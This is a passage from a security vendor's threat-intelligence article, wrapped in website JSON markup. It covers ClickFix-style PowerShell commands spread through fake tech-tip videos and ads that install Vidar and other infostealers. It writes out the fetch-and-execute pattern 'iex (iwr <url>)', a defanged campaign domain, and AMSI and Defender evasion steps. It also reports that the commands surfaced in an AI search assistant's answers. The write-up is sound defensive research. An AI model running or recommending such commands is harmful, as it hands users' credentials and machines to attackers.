class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":0,"template":"","categories":[],"labs_content_type":[],"class_list":["post-10919","lab_item","type-lab_item","status-publish","hentry"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder.jpg 618w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-300x214.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-447x318.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-205x146.jpg 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">W\/Labs<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                            <h3 class=\"wp-component-card-insight__title\">WithSecure uncovers Russia-nexus threat group using AI to target Ukraine and European organisations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/10919\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/10919","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=10919"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=10919"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=10919"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":8123,"date":"2026-04-15T09:00:00","date_gmt":"2026-04-15T08:00:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=8123"},"modified":"2026-09-08T10:04:16","modified_gmt":"2026-09-08T07:04:16","slug":"clickfix-social-media","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/clickfix-social-media\/","title":{"rendered":"The &#8216;vice&#8217; in tech advice: ClickFix-style commands disguised as tech tips across social media platforms and beyond"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    The &#8216;vice&#8217; in tech advice: ClickFix-style commands disguised as tech tips across <span class=\"blue-text\">social media platforms and beyond<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Article                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Endpoint Security                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Apr 15, 2026                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/clickfix-social-media\/&#038;title=The%20&#8216;vice&#8217;%20in%20tech%20advice:%20ClickFix-style%20commands%20disguised%20as%20tech%20tips%20across%20social%20media%20platforms%20and%20beyond\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=The &#8216;vice&#8217; in tech advice: ClickFix-style commands disguised as tech tips across social media platforms and beyond&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/clickfix-social-media\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research2.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research2.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research2-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research2-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research2-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research2-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research2-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_2652815f5d7b29be9603959ee2a39939\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <img loading=\"lazy\" decoding=\"async\" width=\"1080\" height=\"1080\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp\" class=\"wp-component-author-card__photo\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp 1080w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-300x300.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-1024x1024.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-150x150.jpg.webp 150w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-768x768.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-447x447.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-700x700.jpg.webp 700w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-146x146.jpg.webp 146w\" sizes=\"auto, (max-width: 1080px) 100vw, 1080px\" \/>            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Mohammad Kazem Hassan Nejad<\/h3>\n        \n                    <p class=\"wp-component-author-card__meta\">\n                Senior Threat Intelligence Researcher, WithSecure            <\/p>\n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/clickfix-social-media\/&#038;title=The%20&#8216;vice&#8217;%20in%20tech%20advice:%20ClickFix-style%20commands%20disguised%20as%20tech%20tips%20across%20social%20media%20platforms%20and%20beyond\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=The &#8216;vice&#8217; in tech advice: ClickFix-style commands disguised as tech tips across social media platforms and beyond&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/clickfix-social-media\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>Introduction<\/h2>\n<p>Threat actors constantly look for ways to circumvent traditional security measures to deliver malware to unsuspecting users. One of the most effective delivery methods to emerge in 2024 and one that remains highly popular amongst threat actors today are ClickFix-style attacks. In these attacks, a victim is prompted to copy and paste or manually type a seemingly benign command on their machine, which triggers a malicious chain of activity resulting in the deployment of malware on the victim\u2019s endpoint.<\/p>\n<p>In February 2026, WithSecure\u2019s MDR (Managed Detection and Response) team investigated an incident involving the execution of a ClickFix-type command on a corporate endpoint that led to the deployment of Vidar information stealer malware.<\/p>\n<p>Upon a closer look by WithSecure Strategic Threat Intelligence and Research group (STINGR), it was discovered that these specific ClickFix commands were being promoted through hundreds (and potentially thousands) of video content such as reels and shorts published across major social media platforms such as Instagram, Facebook and TikTok. Masquerading as topics such as tech tips, some of these videos have garnered hundreds of thousands of views, with total views reaching into the millions when combined. An example of the view count for a single related lure video has been shown in figure 1.<\/p>\n<figure>\n<p><figure style=\"width: 329px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/figure-1.png.webp\" alt=\"\" width=\"329\" height=\"271\" \/><figcaption class=\"wp-caption-text\">Figure 1. Example of a single lure video on Facebook with over half a million views<\/figcaption><\/figure><\/figure>\n<p>The promoted videos are often disguised as tech tips related to topics such as unlocking hidden features in software, product activation, or general tips to improve the user experience for specific applications. Some of the software used in these lures include:<\/p>\n<ul>\n<li>Windows<\/li>\n<li>Capcut<\/li>\n<li>Microsoft Office products<\/li>\n<li>Adobe Acrobat<\/li>\n<li>Spotify<\/li>\n<li>Discord<\/li>\n<li>Photoshop<\/li>\n<li>ChatGPT<\/li>\n<li>Copilot<\/li>\n<li>Cursor AI<\/li>\n<li>Netflix<\/li>\n<li>And more&#8230;<\/li>\n<\/ul>\n<p>Victims encounter these malicious videos while browsing social media platforms, where the content appears organically on their feeds. In one case handled by WithSecure MDR, a victim had executed a benign one-line PowerShell command on their corporate endpoint to install a Spotify client modification tool called Spicetify just a few days before falling victim to one of the campaign\u2019s videos related to Spotify activation. This highlights the effectiveness of this campaign as users can easily fall victim to lures that are directly relevant to their interests. An example of a lure video is shown in figure 2.<\/p>\n<figure>\n<p><figure style=\"width: 240px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-2.gif\" alt=\"\" width=\"240\" height=\"426\" \/><figcaption class=\"wp-caption-text\">Figure 2. Example of lure video (redacted)<\/figcaption><\/figure><\/figure>\n<p>WithSecure found evidence that this activity is the continuation of an ongoing campaign that began as early as January 2025. <a href=\"https:\/\/www.trendmicro.com\/en_us\/research\/25\/e\/tiktok-videos-infostealers.html\" target=\"_blank\" rel=\"noopener\">Several<\/a> <a href=\"https:\/\/isc.sans.edu\/diary\/32380\" target=\"_blank\" rel=\"noopener\">reports<\/a> have covered aspects of this campaign; however WithSecure\u2019s investigation has uncovered several novel key findings:<\/p>\n<ul>\n<li>The campaign is far more widespread than previously reported. Earlier coverage primarily highlighted TikTok, but the campaign spans nearly all major social media platforms, including YouTube, Facebook, TikTok, Instagram, and even Threads.<\/li>\n<li>Although the campaign is propagated through social media platforms and primarily targets individual users, its risks and implications can directly impact organizations. This is particularly evident in cases where inadequate cybersecurity hygiene and awareness, stemming from personal browsing on corporate devices, can lead to compromise, as observed in the incident investigated by WithSecure\u2019s MDR team.<\/li>\n<li>Beyond social media platforms, WithSecure found that the campaign may target a broader victim base. These videos can effectively cause SEO poisoning as well as poisoning AI agent responses.<\/li>\n<li>The campaign exhibits overlapping TTPs with other operations distributing similar malware via Google Ads, YouTube Ads, Reddit posts, and other channels, suggesting that these activities may likely be part of a larger and well-connected malware delivery ecosystem.<\/li>\n<\/ul>\n<h2>Unpacking the infection chain<\/h2>\n<p>The infection chain kicks off when the victim follows the steps provided in the lure video and executes the suggested ClickFix-style command (PowerShell) on their machine. The infection chain has been summarized in figure 3.<\/p>\n<figure>\n<p><figure style=\"width: 1870px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/figure-3.png.webp\" alt=\"\" width=\"1870\" height=\"645\" data-wp-editing=\"1\" \/><figcaption class=\"wp-caption-text\">Figure 3. Infection chain stages<\/figcaption><\/figure><\/figure>\n<p>The ClickFix-style command and overall infection chain can slightly vary, however in general the latest variants of the ClickFix commands used in the campaign follow the format:<\/p>\n<p>iex (iwr &lt;url&gt;)<\/p>\n<p>This command fetches and filelessly executes a web-hosted PowerShell script from the hardcoded URL. An anti-analysis check employed in the campaign includes verifying the User-Agent of the web request and returning the malicious script only if the User-Agent contains \u201cPowerShell\u201d.<\/p>\n<p>An example of a URL used in the campaign is \u201cmsget[.]run\/windows\u201d. The URL path is often constructed from the software referenced in the lure, such as \u201c\/office\u201d or \u201c\/windows\u201d and the domain names used in the campaign are often short and designed to appear legitimate-looking.<\/p>\n<p>In many cases, the hardcoded URL simply redirects to a secondary URL where the actual script is downloaded from. Based on our observations, the second-stage URLs are often served under Cloudflare pages (*.pages.dev).<\/p>\n<p>WithSecure STINGR has observed slight variations to the malicious scripts that have been served over time. However, their primary purpose remains identical, which is to download and launch the actual payload on the victim\u2019s machine. Some additional functionalities observed across samples included:<\/p>\n<ul>\n<li>Disable AMSI<\/li>\n<li>Perform anti-sandbox checks, such as checking RAM size and whether the username, running processes, or environment variables contain blacklisted words such as \u201csandbox\u201d or \u201cvm\u201d<\/li>\n<li>Persist the staging script on-disk and execute it via registry Run keys\/scheduled task<\/li>\n<li>Output dummy text to console<\/li>\n<li>Apply Windows Defender exclusions<\/li>\n<\/ul>\n<p>The payload is fetched from a URL constructed within the staging script. It is either hosted under the same domain hosting the staging script or another domain (also often Cloudflare pages).<\/p>\n<p>Throughout WithSecure&#8217;s observation, Vidar has been the most frequently deployed payload in this campaign. However other payloads, particularly other infostealers, have also been observed, including StealC and AuraStealer.<\/p>\n<h2>Second-hand effect &#8211; Wider reach beyond social media users<\/h2>\n<p>The primary method by which the lure videos are intended to reach victims is directly through the social media platforms themselves, as the victim scrolls and browses through the respective platform and the content suggested by their algorithms.<\/p>\n<p>However, WithSecure STINGR also discovered two other potential methods victims can be led to these videos and\/or the execution of the embedded malicious commands.<\/p>\n<p>We found that the short videos were also suggested by search engines when a user searched for related topics, such as \u201cactivate spotify premium on windows\u201d. This technique \u2013 considered as a form of SEO poisoning \u2013 can also be an effective way to lure victims, as users may prefer watching short videos to visually follow instructions rather than reading articles returned in search results. An example has been shown in figure 4.<\/p>\n<figure>\n<p><figure style=\"width: 1311px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/figure-4.png.webp\" alt=\"\" width=\"1311\" height=\"633\" \/><figcaption class=\"wp-caption-text\">Figure 4. Example of malicious short videos returned in Google search results<\/figcaption><\/figure><\/figure>\n<p>Moreover, we found that the set of malicious instructions found in the videos, namely the malicious command, can be suggested by AI agents \u2013 such as Google Search\u2019s \u2018AI mode\u2019. An example has been shown in figure 5. It is unclear if the threat actor intended to poison AI agent responses with their instructions and malicious commands or whether this is purely a side effect. Regardless, this method highlights the secondary risks introduced by such campaigns which can affect victims beyond the original lure videos and intended user base, as the malicious content can be transformed and blended into set of instructions that AI agents provide to a wider audience.<\/p>\n<figure>\n<p><figure style=\"width: 847px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/figure-5.png.webp\" alt=\"\" width=\"847\" height=\"258\" \/><figcaption class=\"wp-caption-text\">Figure 5. Example of campaign&#8217;s ClickFix command recommended by Google Search&#8217;s AI mode<\/figcaption><\/figure><\/figure>\n<h2>Overlaps and links to wider malware delivery ecosystem<\/h2>\n<p>A key artifact observed across all attack chains in this campaign are the second-stage staging scripts that are fetched and executed via the ClickFix-style command. These scripts exhibit distinct characteristics such as variable names, functions, and unique strings that provide strong pivot points to other similar samples in the wild. Many of the samples found in-the-wild were connected to the same campaign. However, we also discovered several scripts associated with other likely related campaigns.<\/p>\n<p>For instance, we discovered similar types of lure videos being promoted via YouTube ads, leading to the same infection chain. An example of a displayed YouTube ad is shown in Figure 6.<\/p>\n<figure>\n<p><figure style=\"width: 726px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/figure-6.png.webp\" alt=\"\" width=\"726\" height=\"610\" \/><figcaption class=\"wp-caption-text\">Figure 6. Example of displayed Youtube ad<\/figcaption><\/figure><\/figure>\n<p>Furthermore, we identified another ClickFix campaign actively propagated through Google Search ads leading to the same infection chain. An example of the displayed ads is shown in figure 7.<\/p>\n<p>The ads redirected users to a website masquerading as a Windows \u201cdebloater\u201d tool (shown in figure 8), which contained a ClickFix-type command on its landing page. Notably, the website\u2019s HTML content contained comments in Russian, indicating a Russian-speaking threat actor may have likely been involved in the development and\/or orchestration of the campaign.<\/p>\n<figure>\n<p><figure style=\"width: 780px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/figure-7.png.webp\" alt=\"\" width=\"780\" height=\"355\" \/><figcaption class=\"wp-caption-text\">Figure 7. Example of Google Search ad<\/figcaption><\/figure><\/figure>\n<figure>\n<p><figure style=\"width: 1670px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/figure-8.png.webp\" alt=\"\" width=\"1670\" height=\"781\" \/><figcaption class=\"wp-caption-text\">Figure 8. Debloater website leading to ClickFix<\/figcaption><\/figure><\/figure>\n<p>Lastly, we identified a set of PowerShell scripts compiled using PS2EXE that closely resembled earlier variants of the staging scripts used in this campaign. These executables resulted in similar infection chains, specifically leading to the deployment of information-stealing malware such as Vidar. These samples were <a href=\"https:\/\/www.acronis.com\/en\/tru\/posts\/vidar-stealer-20-distributed-via-fake-game-cheats-on-github-and-reddit\/\" target=\"_blank\" rel=\"noopener\">reportedly<\/a> distributed as fake game cheats via Reddit posts and GitHub repositories.<\/p>\n<h2>Why ClickFix works \u2013 a modern delivery method with old roots<\/h2>\n<p>The threat landscape is in a constant state of flux. While new techniques continue to emerge, many are recycled, repurposed, or otherwise modernized by threat actors. A prevalent infection vector in the 2000s and early 2010s involved malicious websites that used social engineering techniques to lure victims into downloading and executing malware on their machines.<\/p>\n<p>For example, malware was often disguised as video codec installers required to view online content, or as tools (commonly referred to as scareware) claiming to fix fake security alerts presented through website pop-ups. An example is shown in Figure 9.<\/p>\n<figure>\n<p><figure style=\"width: 1536px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/figure-9.png.webp\" alt=\"\" width=\"1536\" height=\"1024\" \/><figcaption class=\"wp-caption-text\">Figure 9. Dummy example of old fake security alert pop-ups<\/figcaption><\/figure><\/figure>\n<p>However, these traditional malware delivery methods relied heavily on malware right at the initial stage of their attack chain.<\/p>\n<p>And while these lure methods remained effective, endpoint protection technologies (i.e. anti-virus\/anti-malware solutions) improved over time. Unknown files downloaded from the internet became subject to increased scrutiny through Mark of the Web (MoTW), prevalence checks, and signature-based detections. Along other defensive measures, these advancements provided stronger protection against malware delivered directly via downloads from the internet.<\/p>\n<p>In parallel, a new era of cyberattacks began to emerge. In the mid-2010s, fileless attacks and the abuse of living-off-the-land binaries (LOLBins) gained significant traction. These techniques were effective as they relied less on malware residing on disk and instead heavily on abusing pre-existing (and trusted) applications found on victim\u2019s machine, mostly operating system utilities. By blending into legitimate activity and executing payloads directly in-memory without touching disk, these approaches introduced new challenges compared to traditional malware-centric attack methods.<\/p>\n<p>By 2024, threat actors began combining and modernizing the effective lure techniques of the past (e.g., fake lure websites) with newer initial execution methods (i.e., abusing LOLBins), to give rise to a new form of malware delivery: ClickFix attacks. Since then, ClickFix has evolved and diversified; however, the term broadly refers to a class of attacks that entice victims to copy and paste or manually execute a seemingly benign command, which in turn triggers a malicious chain of activity, often resulting in the deployment of information-stealing malware on the victim\u2019s endpoint.<\/p>\n<p>In hindsight, these attacks combine the effectiveness of traditional social engineering with a subtle but critical shift in execution: the user initiates the malicious action themselves, rather than downloading a file directly from the internet. This distinction can make the activity appear more legitimate and may allow it to evade certain security controls designed to detect conventional malware delivery mechanisms.<\/p>\n<h2>Conclusion<\/h2>\n<p>This investigation highlights the continued evolution of ClickFix-type attacks. The distribution of this campaign demonstrates a notable shift in how such attacks propagate. Rather than relying solely on lure websites, threat actors are leveraging a wide range of channels, including social media videos and even poisoning AI-generated responses, to maximize reach and effectiveness. This multi-channel approach significantly increases victim exposure and lowers the barrier to compromise.<\/p>\n<p>Furthermore, the findings underscore how such attacks can potentially lead to enterprise compromise, particularly due to the cross-contamination introduced by personal browsing on corporate endpoints.<\/p>\n<p>Lastly, as ClickFix attacks are unlikely to slow down in the near term, cybersecurity awareness and user training against such attacks remain critical, alongside other defensive measures.<\/p>\n<h2>Indicators of Compromise (IOCs)<\/h2>\n<table border=\"1\" 